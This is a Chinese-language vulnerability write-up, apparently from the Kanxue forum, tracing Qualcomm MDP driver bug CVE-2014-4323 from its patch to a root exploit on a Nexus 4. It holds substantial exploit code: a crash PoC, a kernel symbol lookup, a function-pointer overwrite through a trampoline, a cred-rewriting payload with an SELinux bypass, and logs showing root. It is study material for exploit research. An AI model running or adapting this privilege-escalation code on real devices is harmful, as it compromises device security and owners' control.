从补丁到Root——CVE-2014-4323分析
0x00 背景
漏洞类型:CWE-264 Permissions, Privileges, and Access Control,一个权限提升漏洞。我们从补丁开始反推其利用。
这个漏洞 影响基于以下芯片组的所有基于Qualcomm的设备:
APQ 8064(Snapdragon S4 Pro)
MSM 8960(Snapdragon S4)
MSM 8660(Snapdragon S3)
MSM 8x30
MSM 7x30
因此,基于这些SoC的所有设备(例如Nexus 4,Nexus 7等),以及2014年12月之前的内核,应该是易受攻击。
shell@mako:/ $ cat /proc/version
Linux version 3.4.0-perf-g60eefcd (android-build@vpbs1.mtv.corp.google.com) (gcc version 4.6.x-google 20120106 (prerelease) (GCC) ) #1 SMP PREEMPT Fri Oct 10 18:28:38 UTC 2014
刚好手上有个nexus 4的测试机,cat /proc/version查看内核版本,14年10月份,存在漏洞。
0x01 漏洞描述
Linux内核3.x的MDP显示驱动程序中的drivers
/ video / msm / mdp.c中的mdp_lut_hw_update函数,用于Qualcomm Innovation
Center(QuIC)Android对MSM设备和其他产品的贡献,不会验证某些启动和ioctl调用中的长度值,允许攻击者通过精心设计的应用程序获得权限提升。
补丁代码:确保来自用户态输入的cmap是合理的。
0x02 漏洞分析
我们来看补丁检验的这个结构体 struct fb_cmap *cmap:
start是一个32的值但从注释来看是被做为指针的。
len是表示每个entry的个数。
r g b三色的值。
static int mdp_lut_hw_update(struct fb_cmap *cmap)
{
int i;
u16 *c[3];
u16 r, g, b;
c[0] = cmap->green;
c[1] = cmap->blue;
c[2] = cmap->red;
for (i = 0; i < cmap->len; i++) {
if (copy_from_user(&r, cmap->red++, sizeof(r)) ||
copy_from_user(&g, cmap->green++, sizeof(g)) ||
copy_from_user(&b, cmap->blue++, sizeof(b)))
return -EFAULT;
MDP_OUTP(MDP_BASE + 0x94800 +
MDP_OUTP(MDP_BASE + 0x93800 +
(0x400*mdp_lut_i) + cmap->start*4 + i*4,
((g & 0xff) |
((b & 0xff) << 8) |
((r & 0xff) << 16)));
}
return 0;
}
含有漏洞的代码,在for循环遍历entry这里for (i = 0; i < cmap->len; i++) 没检验cmap->len的长度的情况下,若cmap->len的值为1,执行后面的MDP_OUTP函数。会产生漏洞,此时i=0,而其他 gbr 三色的值我们可控。
MDP_OUTP(MDP_BASE + 0x93800 +
(0x400*mdp_lut_i) + cmap->start*4 + 0*4,
((g & 0xff) |
((b & 0xff) << 8) |
((r & 0xff) << 16)));
MDP_OUTP函数的定义为:
#define MDP_OUTP(addr, val) writel(val, addr);
往内存映射的 I/O 空间上写数据,将 ((g & 0xff) |((b & 0xff) << 8) |((r & 0xff) << 16)))组成的数据写入到这个地址上:
(MDP_BASE + 0x93800 +(0x400 * mdp_lut_i) + cmap->start*4 + 0 * 4)
我们就拥有了一个可以在内核上可以在32位地址上任意写入6 X 4=24位值的漏洞!
要利用这个洞,前提我们得先知道MDP_BASE,mdp_lut_i这里两个变量的值。
MDP_BASE:是一个定义为常量内存映射地址的宏(每个SoC一个)
mdp_lut_i:是一个标志,在每次调用MDSSFB_SET_LUT时交替设置为0或1。这意味着0x400*mdp_lut_i的值为0或0x400。
我们通过尝试一次触发使用cmap-> start值覆盖漏洞,看其覆盖的位置推出mdp_lut_i的值。
尝试往默认地址写入0x00ff0000:
shell@mako:/data/local/tmp $ ./poc
[ ] Opened mdp driver success
[ ] Trying to leak the value of MDP_BASE
[ ] Got mdp_base 0xf0100000 res 1
[ ] Got mdp_base: 0xf0100000
[ ] transp 0 red ff blue 0 green 0
[ ] transp 0 red ff blue 0 green 0
[ ] Wrote 0x00ff0000
手机换成了红色:
0x03 漏洞利用(未开启PXN)
先确认我们的nexus 4机子是32位还是63位?
armv7确认是32位,若是64位会有Aarch64等64标号(也可以读取Android 的system/build.prop文件("ro.product.cpu.abilist64"))。
根据含有漏洞的mdp_lut_hw_update函数调用链往上回溯:(之后我们会在内核崩溃日志的trace也看到这个调用链)
mdp_lut_hw_update-->mdp_lut_update_lcdc -->mdss_fb_set_lut-->mdss_fb_ioctl
mdss_fb_ioctl对应的就是这个设备的fb_ioctl操作。我们可以通过调用 ioctl(mdp_fd, MSMFB_SET_LUT, &cmap);函数来触发漏洞。
static struct fb_ops mdss_fb_ops = {
.owner = THIS_MODULE,
.fb_open = mdss_fb_open,
.fb_release = mdss_fb_release,
.fb_check_var = mdss_fb_check_var, /* vinfo check */
.fb_set_par = mdss_fb_set_par, /* set the video mode */
.fb_blank = mdss_fb_blank, /* blank display */
.fb_pan_display = mdss_fb_pan_display, /* pan display */
.fb_ioctl = mdss_fb_ioctl, /* perform fb specific ioctl */
.fb_mmap = mdss_fb_mmap,
};
1.先尝试写出poc:
内核空间划分0~3G为用户空间,3~4G为内核空间。
需求:
我们知道一般给的poc是导致内核崩溃,我们也制造一个内核panic的poc,那么如何制造内核崩溃呢?这篇文章给了三种方式。
1.Unable to handle kernel paging request at virtual address 00000000
越出内核地址空间范围,原因是由于使用空NULL指针。
2.Unable to handle kernel paging request at virtual address 20100110
越出内核地址空间范围,原因是的内存越界导致该指针。
3、Unable to handle kernel paging request at virtual address c074838c
没有越出内核地址 访问受限制内存导致oops。
//step3:write 0x00ff0000
uint32_t content=0x00ff0000;
uint16_t transp = 0x0;
uint16_t red = (content & 0x00ff0000) >> 16;
uint16_t blue = (content & 0x0000ff00) >> 8;
uint16_t green = (content & 0x000000ff) >> 0;
printf("[i] transp %01x red %01x blue %01x green %01x\n", transp, red, blue, green);
struct fb_cmap cmap;
cmap.start = 0x00ff0000;
cmap.len = 1;
cmap.transp = &transp;
cmap.red = &red;
cmap.blue = &blue;
cmap.green = &green;
printf("[i] transp %01x red %01x blue %01x green %01x\n", transp, red, blue, green);
//uint32_t overflown_result = mdp_base + MDP_KERNEL_PARAM_OFFSET + 0x400*mdp_lut_i + cmap_start_target*4;
if (ioctl(mdp_fd, MSMFB_SET_LUT, &cmap)) {
printf("Error reading fixed information.\n");
exit(2);
}
printf("[+] Wrote 0x%08x to 0x%08x\n", content, cmap.start);
我们将0x00ff0000(红色的值),写入默认地址偏移为0x00ff0000的位置。手机panic重启了。
$cat /proc/last_kmsg
[12281.126139] Unable to handle kernel paging request at virtual address f0590800
[12281.126383] pgd = ec208000
[12281.127268] [f0590800] *pgd=901ff811, *pte=00000000, *ppte=00000000
[12281.128794] Internal error: Oops: 807 [#1] PREEMPT SMP ARM
[12281.129282] CPU: 0 Tainted: G W (3.4.0-perf-g60eefcd #1)
[12281.129587] PC is at mdp_lut_hw_update+0x11c/0x144
[12281.129984] LR is at mdp_lut_hw_update+0xbc/0x144
[12281.130228] pc : <c029297c> lr : <c029291c> psr: 60000013
[12281.130259] sp : ec155b40 ip : 00000000 fp : be87ba7c
[12281.130961] r10: 00000000 r9 : ec154000 r8 : 00000000
[12281.131236] r7 : cf920260 r6 : 00000001 r5 : ec154000 r4 : ec155b9c
[12281.131724] r3 : f0100000 r2 : 00124200 r1 : 00ff0000 r0 : 00000000
[12281.132182] Flags: nZCv IRQs on FIQs on Mode SVC_32 ISA ARM Segment user
[12281.132456] Control: 10c5787d Table: acc0806a DAC: 00000015
[12281.132914]
[12281.132914] PC: 0xc02928fc:
[12281.151379] LR: 0xc029289c:
[12281.169752] SP: 0xec155ac0:
[12281.188339] R3: 0xf00fff80:
[12281.188950] ff80 ******** ******** ******** ******** ******** ******** ******** ********
[12281.191086] ffa0 ******** ******** ******** ******** ******** ******** ******** ********
[12281.193406] ffc0 ******** ******** ******** ******** ******** ******** ******** ********
[12281.195725] ffe0 ******** ******** ******** ******** ******** ******** ******** ********
[12281.197831] 0000 04040306 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[12281.200151] 0020 ffffffff 00000fff 00010000 00000000 00000004 00000044 00000049 00000001
[12281.202440] 0040 003fffff 00000000 00000040 00003333 00000000 00000091 00000000 00000000
[12281.204729] 0060 00000000 00000000 00000000 00000000 00000003 00000000 00000000 06543210
[12281.206835]
[12281.206835] R4: 0xec155b1c:
[12281.225635] R5: 0xec153f80:
[12281.244100] R7: 0xcf9201e0:
[12281.262321] R9: 0xec153f80:
[12281.280785] Process poc (pid: 7634, stack limit = 0xec1542f0)
[12281.281213] Stack: (0xec155b40 to 0xec156000)
[12281.281457] 5b40: 00ff5b9c 00000000 ec155b9c
......
[12281.295344] 5fe0: be87ba48 be87b9f8 b6fabba9 b6fa64bc 60070010 00000003 00000000 00000000
[12281.295832] [<c029297c>] (mdp_lut_hw_update+0x11c/0x144) from [<c0293e34>] (mdp_lut_update_lcdc+0x18/0x94)
[12281.296137] [<c0293e34>] (mdp_lut_update_lcdc+0x18/0x94) from [<c0291ba0>] (msm_fb_ioctl+0x920/0x1008)
[12281.296656] [<c0291ba0>] (msm_fb_ioctl+0x920/0x1008) from [<c0287758>] (do_fb_ioctl+0x53c/0x588)
[12281.297175] [<c0287758>] (do_fb_ioctl+0x53c/0x588) from [<c012c488>] (do_vfs_ioctl+0x548/0x5bc)
[12281.297663] [<c012c488>] (do_vfs_ioctl+0x548/0x5bc) from [<c012c548>] (sys_ioctl+0x4c/0x6c)
[12281.298151] [<c012c548>] (sys_ioctl+0x4c/0x6c) from [<c000d980>] (ret_fast_syscall+0x0/0x30)
[12281.298426] Code: e2866001 e5933000 e5dd0004 e1811000 (e7831102)
[12281.300624] ---[ end trace e5118df9f972f390 ]---
[12281.300898] Kernel panic - not syncing: Fatal exception
[12283.039034] wcnss_8960: crash shutdown : 0
cat /proc/last_kmsg 查看上次最后的kernel log,寻找崩溃的原因:地址0xf0590800>0xc0000000属于往访问受限制内存导致的oops
通过end trace我们也能看出mdp_lut_hw_update在内核里的调用链。
[12281.295832] [<c029297c>] (mdp_lut_hw_update+0x11c/0x144) from [<c0293e34>] (mdp_lut_update_lcdc+0x18/0x94)
[12281.296137] [<c0293e34>] (mdp_lut_update_lcdc+0x18/0x94) from [<c0291ba0>] (msm_fb_ioctl+0x920/0x1008)
[12281.296656] [<c0291ba0>] (msm_fb_ioctl+0x920/0x1008) from [<c0287758>] (do_fb_ioctl+0x53c/0x588)
[12281.297175] [<c0287758>] (do_fb_ioctl+0x53c/0x588) from [<c012c488>] (do_vfs_ioctl+0x548/0x5bc)
[12281.297663] [<c012c488>] (do_vfs_ioctl+0x548/0x5bc) from [<c012c548>] (sys_ioctl+0x4c/0x6c)
[12281.298151] [<c012c548>] (sys_ioctl+0x4c/0x6c) from [<c000d980>] (ret_fast_syscall+0x0/0x30)
[12281.298426] Code: e2866001 e5933000 e5dd0004 e1811000 (e7831102)
2.三种提权的方式:
三种提权思路:
2.1 patch sys_setresuid然后调用setresuid提权
2.2 执行commit_creds(prepare_kernel_cred(0))提权
2.3 修改当前进程的task_struct->cred结构体进行提权
2.1 setresuid提权
setresuid(0,0,0)可以用来设置进程的EUID,实现为当前进程提权的目的。但是普通用户直接调用并不能实现提取,原因如下:
上图中对应了内核文件中setresuid的部分代码信息,通过分析可以发现,函数在真正进行setresuid之前会对调用者拥有的权限进行检查,如上图红框中的内容,满足调用权限时,R0的值为#0,对于普通用户的调用,R0是一个非零值,所以如果我们把比较的对象#0改成一个非零值,那么setresuid的可以成功调用进行置位。
CMP R0,#0 指令为0xe3500000
CMP R1,#1 指令为0xe3500001
arm的opcaode
所以我我们提权的步骤如下:
1.搜索内核,查找sys_setresuid符号地址;
2.搜索sys_setresuid代码段,查找“0xe3500000” 并Patch为“0xe3500001”;
3.用户态调用setresuid()提权。
先读取/proc/kallsyms里的sys_setresuid的位置,利用任意写将其修改成0x3e500001,执行然后setresuid(0, 0, 0)即可完成提权。
而由于我们只能控制后24位,无法写入0x3e500001到sys_setresuid的地址。此思路暂时不通。
2.2 commit_creds提权
提权思路:覆盖内核里一个结构体方法的指针,将其地址指向用户态的代码commit_creds(prepare_kernel_cred(0)),最后再调用该结构体的方法完成提权。前提是我们知道commit_creds和 prepare_kernel_cred等函数地址。我们通过先patch掉kptr_restrict为我们构造能泄露内核函数地址的环境。
从内核2.6.37开始,普通shell用户没有办法从/proc/kallsyms中读到内核符号表地址。先patch掉kptr_restrict。
我这里是直接在root下patch kptr_restrict
shell@mako:/ #echo 0 > /proc/sys/kernel/kptr_restrict
用此种方式无需硬编码,来适配不同的安卓/linux设备。
prepare_kernel_cred_t prepare_kernel_cred;
commit_creds_t commit_creds;
int PPPOLAC_PROTO_OPS_RELEASE;
//读取内核符号表找到特定方法的地址
void * get_ksymbol(char *name)
{
FILE *f = fopen("/proc/kallsyms", "r");
char c, sym[512];
void *addr;
int ret;
while (fscanf(f, "%p %c %s\n", &addr, &c, sym) > 0) {
if (!strcmp(sym, name))
return addr;
}
return NULL;
}
void resolve_kernel_symbols(void)
{
prepare_kernel_cred = get_ksymbol("prepare_kernel_cred");
commit_creds = get_ksymbol("commit_creds");
PPPOLAC_PROTO_OPS_RELEASE =get_ksymbol("pppolac_proto_ops");//
if (!prepare_kernel_cred || !commit_creds)
errx(1, "couldn't map all kernel symbols");
printf("prepare_kernel_cred=%p,commit_creds= %p\n",prepare_kernel_cred,commit_creds);
}
//用于提权的payload
void kernel_payload() {
commit_creds(prepare_kernel_cred(0));
}
我们这里是先找到“pppolac_proto_ops”结构中找到包含函数指针的位置。这是内核中用于注册与PPP_OLAC协议的套接字交互时使用的函数指针的结构。这种结构是合适的,因为:
1.PPP_OLAC协议没有被广泛使用,因此不需要立即恢复被覆盖的函数指针。
2.除了创建套接字的能力之外,打开PPP_OLAC套接字不需要特殊权限
结构本身是静态的(因此存储在BSS中),并且没有标记为“const”,因此是可写的。
//step4: Allocating the trampoline and Write shellcode to addr
trampoline = (uint32_t*)mmap((void*)TRAMPOLINE_ADDRESS, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);//0x00100000
if (trampoline == NULL) {
perror("[-] Failed to allocate trampoline");
return -errno;
}
printf("[+] Allocated trampoline\n");
printf("[i] Attempting to execute kernel_payload at 0x%08x\n", (uint32_t)&kernel_payload);
//Writing to the trampoline
trampoline[0] = 0xE51FF004; //LDR PC, [addr]
//addr:
trampoline[1] = (uint32_t)&kernel_payload;
//Flushing the cache (to make sure the I-cache doesn't contain leftovers)
cacheflush((uint32_t)trampoline & (~0xFFF), 0x1000, 0);
// mdp_lut_i will switch between 0 and 1 at each call
mdp_lut_i = !mdp_lut_i;
write_where(mdp_fd, mdp_lut_i, mdp_base, (uint32_t)trampoline, PPPOLAC_PROTO_OPS_RELEASE);
因为我们只可控后24位,我们在0x00100000这个用户空间地址构造跳到payload的跳板trampoline,并将跳板trampoline的地址写到pppolac_proto_ops结构体的地址PPPOLAC_PROTO_OPS_RELEASE上。当我们执行socket. close()函数时jump到跳板里执行我们提权的payload。
shell@mako:/ $ /data/local/tmp/pwn
prepare_kernel_cred=0xc008eff0,commit_creds= 0xc008eab4
[ ] Opened mdp driver
[ ] Trying to leak the value of MDP_BASE
[ ] Got mdp_base 0xf0100000 res 1
[ ] Got mdp_base: 0xf0100000
[ ] Trying to leak the current value of mdp_lut_i
[ ] Successfully mapped dropzone. Address: 0x10000000, Size: 0x00010000
[ ] Trying to write 0x00dabeef at 0x10000000
[ ] Target cmap_start: 0x07f9ae00
[ ] Expected VM target address: 0x10000000
[ ] transp 0 red da blue be green ef
[ ] Wrote 0x00dabeef to 0x10000000
[ ] Found modification: 0x00dabeef at offset: 0x400 (address: 0x10000400)
[ ] delta write 00000400
[ ] Got mdp_lut_i: 0x1
[ ] Allocated trampoline
[ ] Attempting to execute kernel_payload at 0xb6f23df5
[ ] Trying to write 0x00100000 at 0xc0eaf3a4
[ ] Target cmap_start: 0x34346ae9
[ ] Expected VM target address: 0xc0eaf3a4
[ ] transp 0 red 10 blue 0 green 0
[ ] Wrote 0x00100000 to 0xc0eaf3a4
[ ] Opened PPPOLAC socket: 7
[ ] Executed function
[ ] got r00t!
shell@mako:/
uid=0(root) gid=0(root) context=u:r:kernel:s0
2.3 修改task_struct结构体进行提权(pThreadInfo->addr_limit=0xffffffff)
这个利用代码借鉴的ggggwwww大佬的这篇文章让子弹继续飞-如何利用一个漏洞代码root更多手机 总体利用流程如下:
建立netlink服务监听。
通过inet_diag的netlink通信,从内核返回的cookie中获得sk结构体的地址。
利用任意地址写的能力,修改sk中destruct的函数指针。使其指向我们的shellcode地址。
关闭第一步建立的socket,触发shellcode的调用,获得root权限。
其中有两点值得学习:
32位系统上sock信息泄露漏洞和修改task_struct的方式。
一:inet_diag信息泄漏问题
在inet_diag调用会返回cookie,该cookie数组包括了sk的低32位地址及高32地址。对于32位的系统来说,cookie[0]泄漏了sock结构的地址。
而每个socket数据结构都有一个sock数据结构成员,sock是对socket的扩充,两者一一对应。
struct sock {
__u32 daddr; // dip,Foreign IPv4 addr
__u32 rcv_saddr; // 记录套接字所绑定的地址
__u16 dport; // dport
unsigned short num; /* 套接字所在的端口号
…
struct proto *prot; // 例如指向tcp_prot
void (*state_change)(struct sock *sk);
void (*data_ready)(struct sock *sk,int bytes);
void (*write_space)(struct sock *sk);
void (*error_report)(struct sock *sk);
int (*backlog_rcv) (struct sock *sk, struct sk_buff *skb);
void (*destruct)(struct sock *sk);
};
当socket被关闭时destruct指针指向的函数将被执行。我们通过sock地址和destruct的偏移找到destruct函数指针的地址。
int sock_offset=get_destruct_offset(versionCode);
if(sock_offset>=0)
{
target += sock_offset;
printf("[*] sock_destruct address: %lx\n", target);
}
二:修改task_struct的方式可以总结如下
通过shellcode的临时变量,泄漏sp地址。
通过sp地址和thread_info共用4K/8K空间的特点定位到thread_info地址。
判断thread_info的addr_limit的地址范围,确定task_struct的位置。
判断task_struct中的comm是否为进程名。
判断cred和real_cred是否在内核地址范围而且相关参数相等,定位到cred和read_cred的偏移。
修改cred和read_cred相关参数的值。
判断是否是selinux,如果是定位到tsec结构体的地址。
修改tsec结构体的参数的值。Bypass seliux。
int kernel_payload()
{
int v38; /* [sp+0h] [bp-60h]@1 */
int addrBase;
char szName[16] = "exploit";
int offset;
struct task_security_struct * tsec;
struct thread_info *pThreadInfo;
int ret = -1;
int searchLenth;
int isSelinux = 1;
mycred *my_cred;
mycred *my_real_cred;
addrBase = *(int *) ( ( (int) (&v38) & 0xFFFFE000) + 0xC);
unsigned long mySP = ( (unsigned long) (&v38) & 0xFFFFE000); /* 1. v38此种异或0xFFFFE000的方式,为什么能泄漏sp地址??? */
pThreadInfo = (struct thread_info *) mySP; /* 2. mySP的地址为什么等于thread_info地址?? */
if ( pThreadInfo->addr_limit != 0xbf000000 ) /* addr_limit默认值为0xbf000000 */
return(19);
pThreadInfo->addr_limit = 0xffffffff; /* 修改pThreadInfo->addr_limit的值 */
if ( addrBase > 0xBFFFFFFF )
{
offset = 0;
while ( 1 )
{
addrBase += 4;
if ( !kmemcmp( addrBase, szName, 16 ) )
break;
++offset;
if ( offset == 0x600 )
{
return(18);
}
}
}else {
return(17);
}
my_cred = *(int *) (addrBase - 8);
my_real_cred = *(int *) (addrBase - 8 - 4);
searchLenth = 0;
while ( searchLenth < 0x20 )
{
if ( !my_cred || !my_real_cred
|| my_cred < 0xBFFFFFFF || my_real_cred < 0xBFFFFFFF
)
{
/* 2.6? */
addrBase -= 4;
my_cred = *(int *) (addrBase - 8);
my_real_cred = *(int *) (addrBase - 8 - 4);
}else
break;
searchLenth++;
}
if ( searchLenth == 0x20 )
{
return(20);
}
/*
* fuck!! where is my cred???
* 6.修改cred和read_cred相关参数的值。
*/
my_cred->uid = 0;
my_cred->gid = 0;
my_cred->suid = 0;
my_cred->sgid = 0;
my_cred->egid = 0;
my_cred->euid = 0;
my_cred->fsgid = 0;
my_cred->fsuid = 0;
my_cred->securebits = 0;
my_cred->cap_bset.cap[0] = -1;
my_cred->cap_bset.cap[1] = -1;
my_cred->cap_inheritable.cap[0] = -1;
my_cred->cap_inheritable.cap[1] = -1;
my_cred->cap_permitted.cap[0] = -1;
my_cred->cap_permitted.cap[1] = -1;
my_cred->cap_effective.cap[0] = -1;
my_cred->cap_effective.cap[1] = -1;
my_real_cred->uid = 0;
my_real_cred->gid = 0;
my_real_cred->suid = 0;
my_real_cred->sgid = 0;
my_real_cred->egid = 0;
my_real_cred->euid = 0;
my_real_cred->fsgid = 0;
my_real_cred->fsuid = 0;
my_real_cred->securebits = 0;
my_real_cred->cap_bset.cap[0] = -1;
my_real_cred->cap_bset.cap[1] = -1;
my_real_cred->cap_inheritable.cap[0] = -1;
my_real_cred->cap_inheritable.cap[1] = -1;
my_real_cred->cap_permitted.cap[0] = -1;
my_real_cred->cap_permitted.cap[1] = -1;
my_real_cred->cap_effective.cap[0] = -1;
my_real_cred->cap_effective.cap[1] = -1;
/* 7. 判断是否是selinux,如果是定位到tsec结构体的地址。 */
if ( isSelinux )
{
/* 8.修改tsec结构体的参数的值。Bypass seliux。 */
tsec = my_cred->security;
if ( tsec && tsec > 0xBFFFFFFF )
{
tsec->sid = 1;
tsec->exec_sid = 1;
ret = 151;
}else {
tsec = (struct task_security_struct *) (*(int *) (0x10 + (int) &my_cred->security) );
if ( tsec && tsec > 0xBFFFFFFF )
{
tsec->sid = 1;
tsec->exec_sid = 1;
ret = 152;
}
}
tsec = my_real_cred->security;
if ( tsec && tsec > 0xBFFFFFFF )
{
tsec->sid = 1;
tsec->exec_sid = 1;
ret = 153;
}else {
tsec = (struct task_security_struct *) (*(int *) (0x10 + (int) &my_real_cred->security) );
if ( tsec && tsec > 0xBFFFFFFF )
{
tsec->sid = 1;
tsec->exec_sid = 1;
ret = 154;
}
}
}else {
ret = 16;
}
/* commit_creds(prepare_kernel_cred(0)); */
return(ret);
}
跑exploit的结果如下:这里我们发现已经修改过task_struct结构的进程的id,为何groups依然为1003(graphics)?
1|shell@mako:/ $ /data/local/tmp/exploit
prepare_kernel_cred=0xc008eff0,commit_creds= 0xc008eab4
[ ] Opening TCP socket...
[ ] Getting socket address from INET_DIAG...
[ ] versionCode=34,szRelease=3.4.0-perf-g60eefcd,szVersion=
[ ] sock_destruct address: ebdc8198
[ ] Opened mdp driver
[ ] Trying to leak the value of MDP_BASE
[ ] Got mdp_base 0xf0100000 res 1
[ ] Got mdp_base: 0xf0100000
[ ] Trying to leak the current value of mdp_lut_i
[ ] Successfully mapped dropzone. Address: 0x10000000, Size: 0x00010000
[ ] Trying to write 0x00dabeef at 0x10000000
[ ] Target cmap_start: 0x07f9ae00
[ ] Expected VM target address: 0x10000000
[ ] transp 0 red da blue be green ef
[ ] Wrote 0x00dabeef to 0x10000000
[ ] Found modification: 0x00dabeef at offset: 0x400 (address: 0x10000400)
[ ] delta write 00000400
[ ] Got mdp_lut_i: 0x1
[ ] Allocated trampoline
[ ] Trying to write 0x00100000 at 0xebdc8198
[ ] Target cmap_start: 0x3ef0ce66
[ ] Expected VM target address: 0xebdc8198
[ ] transp 0 red 10 blue 0 green 0
[ ] Wrote 0x00100000 to 0xebdc8198
[ ] Execute Shellcode[README](media/15446227228942/README.md)
uid = 0
gid = 0
ROOT SUCCESS
shell@mako:/
uid=0(root) gid=0(root) groups=1003(graphics),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:kernel:s0
正常情况下sh和有root权限的init进程的cred结构值如下:
利用代码
0x04 总结
到此,本菜鸡终于完成了一次漏洞补丁分析到利用提权的过程。
1.了解了内核崩溃的三种类型,和查看崩溃日志的方法
2.学习了patch掉kptr_restrict的读取内核符号里的函数的方法。(当然还有利用读写漏洞搜索内核,查找“%pK %c %s\n”,并Patch成“%p %c %s\n”等方案绕过kptr_restrict)
3.三种常见的提权的方案,并在未开启PXN的条件完成了两种利用。
0x05 参考
https://android.googlesource.com/kernel/msm/+/65e9273c22264162c85351c5c29c94ff7ee2285e/drivers/video/msm/mdp.c
让子弹继续飞-如何利用一个漏洞代码root更多手机
https://bbs.pediy.com/thread-211017.htm
Android系统漏洞提权
http://www.droidsec.cn/android%E7%B3%BB%E7%BB%9F%E6%BC%8F%E6%B4%9E%E6%8F%90%E6%9D%83/
Android内核sys_setresuid() Patch提权CVE-2012-6422
https://www.cnblogs.com/gm-201705/p/9863995.html
Android内核漏洞利用技术实战:环境搭建&栈溢出实战
https://www.anquanke.com/post/id/86617
- End -
看雪ID:endlif
https://bbs.pediy.com/user-755008.htm
本文由 endlif 原创
转载请注明来自看雪社区
热门技术文章推荐:
公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com